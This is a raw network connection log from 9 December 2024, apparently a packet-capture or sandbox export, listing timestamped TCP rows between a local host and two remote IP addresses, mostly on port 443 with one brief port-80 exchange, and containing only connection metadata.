Dec 9, 2024 06:49:26.098490000 CET	443	49746	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:26.098548889 CET	443	49745	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:26.099034071 CET	49746	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:26.099059105 CET	443	49746	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:26.099131107 CET	49745	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:26.099144936 CET	443	49745	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:26.099502087 CET	49746	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:26.099507093 CET	443	49746	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:26.099627018 CET	49745	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:26.099632025 CET	443	49745	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:26.105390072 CET	443	49747	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:26.105812073 CET	49747	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:26.105823040 CET	443	49747	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:26.106092930 CET	49747	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:26.106105089 CET	443	49747	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:26.112344027 CET	443	49748	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:26.112658978 CET	49748	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:26.112672091 CET	443	49748	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:26.113018036 CET	49748	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:26.113022089 CET	443	49748	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:26.534837008 CET	443	49746	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:26.534909010 CET	443	49746	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:26.534955025 CET	49746	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:26.535212040 CET	49746	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:26.535233974 CET	443	49746	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:26.535245895 CET	49746	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:26.535252094 CET	443	49746	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:26.535475016 CET	443	49745	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:26.535533905 CET	443	49745	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:26.536318064 CET	49745	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:26.536504030 CET	49745	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:26.536523104 CET	443	49745	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:26.536540985 CET	49745	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:26.536547899 CET	443	49745	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:26.540149927 CET	49750	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:26.540184021 CET	443	49750	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:26.540312052 CET	49750	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:26.540844917 CET	49750	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:26.540852070 CET	443	49750	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:26.541393042 CET	49751	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:26.541439056 CET	443	49751	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:26.541515112 CET	49751	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:26.541644096 CET	49751	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:26.541656971 CET	443	49751	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:26.545128107 CET	443	49747	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:26.545218945 CET	443	49747	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:26.545330048 CET	49747	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:26.545999050 CET	443	49748	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:26.546072006 CET	443	49748	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:26.546118021 CET	49748	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:26.548949957 CET	49747	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:26.548949957 CET	49747	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:26.548964024 CET	443	49747	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:26.548973083 CET	443	49747	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:26.550020933 CET	49748	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:26.550045967 CET	443	49748	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:26.550059080 CET	49748	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:26.550065994 CET	443	49748	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:26.554246902 CET	49752	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:26.554296970 CET	443	49752	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:26.554373026 CET	49752	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:26.556334019 CET	49753	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:26.556375980 CET	443	49753	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:26.556437016 CET	49753	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:26.556642056 CET	49752	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:26.556654930 CET	443	49752	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:26.559856892 CET	49753	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:26.559885025 CET	443	49753	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:26.656491041 CET	443	49749	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:26.657016993 CET	49749	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:26.657052040 CET	443	49749	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:26.657664061 CET	49749	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:26.657669067 CET	443	49749	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:27.091707945 CET	443	49749	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:27.091770887 CET	443	49749	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:27.091819048 CET	49749	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:27.092139006 CET	49749	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:27.092159033 CET	443	49749	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:27.092191935 CET	49749	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:27.092200041 CET	443	49749	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:27.095716953 CET	49755	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:27.095757961 CET	443	49755	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:27.095890045 CET	49755	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:27.096155882 CET	49755	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:27.096172094 CET	443	49755	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:28.221846104 CET	49756	80	192.168.2.11	23.111.175.138
Dec 9, 2024 06:49:28.257179022 CET	443	49751	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:28.257622957 CET	443	49750	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:28.257941008 CET	49751	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:28.257958889 CET	443	49751	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:28.258380890 CET	49751	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:28.258390903 CET	443	49751	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:28.258723974 CET	49750	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:28.258739948 CET	443	49750	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:28.259116888 CET	49750	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:28.259121895 CET	443	49750	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:28.275515079 CET	443	49752	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:28.276103020 CET	49752	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:28.276145935 CET	443	49752	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:28.276575089 CET	49752	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:28.276583910 CET	443	49752	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:28.276721001 CET	443	49753	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:28.277086020 CET	49753	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:28.277115107 CET	443	49753	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:28.277404070 CET	49753	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:28.277411938 CET	443	49753	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:28.341314077 CET	80	49756	23.111.175.138	192.168.2.11
Dec 9, 2024 06:49:28.341491938 CET	49756	80	192.168.2.11	23.111.175.138
Dec 9, 2024 06:49:28.341741085 CET	49756	80	192.168.2.11	23.111.175.138
Dec 9, 2024 06:49:28.461088896 CET	80	49756	23.111.175.138	192.168.2.11
Dec 9, 2024 06:49:28.691374063 CET	443	49750	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:28.691447020 CET	443	49750	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:28.691649914 CET	49750	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:28.691683054 CET	49750	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:28.691698074 CET	443	49750	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:28.691708088 CET	49750	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:28.691713095 CET	443	49750	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:28.692186117 CET	443	49751	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:28.692250013 CET	443	49751	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:28.692322016 CET	49751	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:28.692637920 CET	49751	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:28.692658901 CET	443	49751	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:28.692672014 CET	49751	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:28.692677975 CET	443	49751	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:28.694566965 CET	49757	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:28.694617987 CET	443	49757	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:28.694639921 CET	49758	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:28.694679022 CET	443	49758	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:28.694744110 CET	49757	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:28.694875002 CET	49758	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:28.694875002 CET	49758	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:28.694916010 CET	443	49758	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:28.694942951 CET	49757	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:28.694956064 CET	443	49757	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:28.707884073 CET	443	49752	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:28.708069086 CET	443	49752	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:28.708170891 CET	49752	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:28.708420038 CET	49752	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:28.708432913 CET	443	49752	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:28.708456039 CET	49752	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:28.708461046 CET	443	49752	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:28.711133003 CET	443	49753	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:28.711196899 CET	443	49753	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:28.711373091 CET	49753	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:28.711633921 CET	49753	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:28.711652994 CET	443	49753	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:28.711663961 CET	49753	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:28.711668968 CET	443	49753	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:28.711916924 CET	49759	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:28.711956024 CET	443	49759	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:28.712021112 CET	49759	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:28.712141037 CET	49759	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:28.712152004 CET	443	49759	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:28.714081049 CET	49760	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:28.714116096 CET	443	49760	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:28.714183092 CET	49760	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:28.714342117 CET	49760	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:28.714354038 CET	443	49760	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:28.829513073 CET	443	49755	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:28.831244946 CET	49755	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:28.831273079 CET	443	49755	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:28.831721067 CET	49755	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:28.831727982 CET	443	49755	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:29.266661882 CET	443	49755	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:29.266745090 CET	443	49755	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:29.266823053 CET	49755	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:29.267061949 CET	49755	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:29.267105103 CET	443	49755	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:29.267129898 CET	49755	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:29.267147064 CET	443	49755	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:29.269692898 CET	49761	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:29.269733906 CET	443	49761	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:29.270066977 CET	49761	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:29.270247936 CET	49761	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:29.270262003 CET	443	49761	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:30.410192966 CET	443	49758	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:30.410718918 CET	49758	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:30.410762072 CET	443	49758	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:30.411215067 CET	49758	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:30.411221981 CET	443	49758	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:30.421437979 CET	443	49757	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:30.422300100 CET	49757	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:30.422323942 CET	443	49757	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:30.422719002 CET	49757	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:30.422725916 CET	443	49757	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:30.432981968 CET	443	49760	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:30.433273077 CET	443	49759	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:30.433958054 CET	49760	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:30.433990002 CET	443	49760	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:30.434458971 CET	49760	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:30.434475899 CET	443	49760	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:30.434986115 CET	49759	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:30.435018063 CET	443	49759	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:30.435365915 CET	49759	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:30.435376883 CET	443	49759	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:30.844058990 CET	443	49758	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:30.844129086 CET	443	49758	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:30.844177961 CET	49758	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:30.844516039 CET	49758	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:30.844532013 CET	443	49758	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:30.844537973 CET	49758	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:30.844542980 CET	443	49758	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:30.847722054 CET	49763	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:30.847762108 CET	443	49763	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:30.847848892 CET	49763	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:30.848042011 CET	49763	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:30.848063946 CET	443	49763	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:30.856707096 CET	443	49757	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:30.856878042 CET	443	49757	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:30.856950045 CET	49757	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:30.857004881 CET	49757	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:30.857004881 CET	49757	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:30.857021093 CET	443	49757	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:30.857031107 CET	443	49757	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:30.860032082 CET	49764	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:30.860101938 CET	443	49764	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:30.860186100 CET	49764	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:30.860344887 CET	49764	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:30.860367060 CET	443	49764	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:30.866307020 CET	443	49759	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:30.866380930 CET	443	49759	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:30.866427898 CET	49759	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:30.866594076 CET	49759	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:30.866600990 CET	443	49759	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:30.866756916 CET	443	49760	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:30.866823912 CET	443	49760	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:30.866880894 CET	49760	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:30.866952896 CET	49760	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:30.866969109 CET	443	49760	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:30.870887041 CET	49765	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:30.870923996 CET	443	49765	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:30.871052980 CET	49766	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:30.871104956 CET	443	49766	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:30.871129990 CET	49765	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:30.871237993 CET	49766	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:30.871264935 CET	49765	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:30.871279001 CET	443	49765	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:30.871552944 CET	49766	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:30.871582985 CET	443	49766	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:31.256371021 CET	443	49761	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:31.257497072 CET	49761	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:31.257509947 CET	443	49761	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:31.258052111 CET	49761	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:31.258057117 CET	443	49761	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:31.690311909 CET	443	49761	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:31.690371990 CET	443	49761	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:31.690608978 CET	49761	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:31.690608978 CET	49761	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:31.690608978 CET	49761	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:31.693603039 CET	49767	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:31.693645954 CET	443	49767	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:31.693710089 CET	49767	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:31.693871021 CET	49767	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:31.693881989 CET	443	49767	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:31.992377043 CET	49761	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:31.992398024 CET	443	49761	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:32.565428972 CET	443	49763	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:32.567363977 CET	49763	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:32.567380905 CET	443	49763	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:32.582359076 CET	49763	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:32.582386971 CET	443	49763	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:32.593542099 CET	443	49765	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:32.630650043 CET	49765	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:32.630671978 CET	443	49765	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:32.636663914 CET	443	49764	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:32.642091990 CET	49765	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:32.642096996 CET	443	49765	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:32.682651043 CET	49764	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:32.730098963 CET	49764	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:32.730098963 CET	49764	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:32.730135918 CET	443	49764	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:32.730154991 CET	443	49764	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:32.999783039 CET	443	49763	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:32.999989986 CET	443	49763	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:33.000056028 CET	49763	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:33.000086069 CET	49763	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:33.000107050 CET	443	49763	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:33.004178047 CET	49769	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:33.004225969 CET	443	49769	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:33.004286051 CET	49769	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:33.004437923 CET	49769	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:33.004453897 CET	443	49769	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:33.027079105 CET	443	49765	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:33.027158022 CET	443	49765	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:33.027349949 CET	49765	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:33.027400017 CET	49765	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:33.027420998 CET	443	49765	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:33.027432919 CET	49765	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:33.027439117 CET	443	49765	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:33.030776978 CET	49770	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:33.030827045 CET	443	49770	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:33.030889988 CET	49770	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:33.031083107 CET	49770	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:33.031094074 CET	443	49770	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:33.076797009 CET	443	49764	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:33.076867104 CET	443	49764	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:33.076926947 CET	49764	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:33.077155113 CET	49764	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:33.077169895 CET	443	49764	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:33.077178955 CET	49764	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:33.077184916 CET	443	49764	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:33.079921007 CET	49771	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:33.079941034 CET	443	49771	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:33.080013990 CET	49771	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:33.080135107 CET	49771	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:33.080148935 CET	443	49771	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:33.408611059 CET	443	49767	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:33.409276009 CET	49767	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:33.409296036 CET	443	49767	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:33.409734011 CET	49767	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:33.409739017 CET	443	49767	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:33.842194080 CET	443	49767	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:33.842268944 CET	443	49767	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:33.842467070 CET	49767	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:33.842514038 CET	49767	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:33.842534065 CET	443	49767	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:33.842546940 CET	49767	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:33.842552900 CET	443	49767	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:33.845102072 CET	49772	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:33.845165014 CET	443	49772	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:33.845257044 CET	49772	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:33.845421076 CET	49772	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:33.845429897 CET	443	49772	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:33.853775978 CET	443	49766	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:33.854217052 CET	49766	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:33.854264975 CET	443	49766	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:33.854649067 CET	49766	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:33.854655027 CET	443	49766	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:34.287344933 CET	443	49766	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:34.287403107 CET	443	49766	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:34.287910938 CET	49766	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:34.287942886 CET	49766	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:34.287957907 CET	443	49766	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:34.287969112 CET	49766	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:34.287976027 CET	443	49766	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:34.291340113 CET	49773	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:34.291378975 CET	443	49773	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:34.291451931 CET	49773	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:34.291625977 CET	49773	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:34.291644096 CET	443	49773	13.107.246.63	192.168.2.11
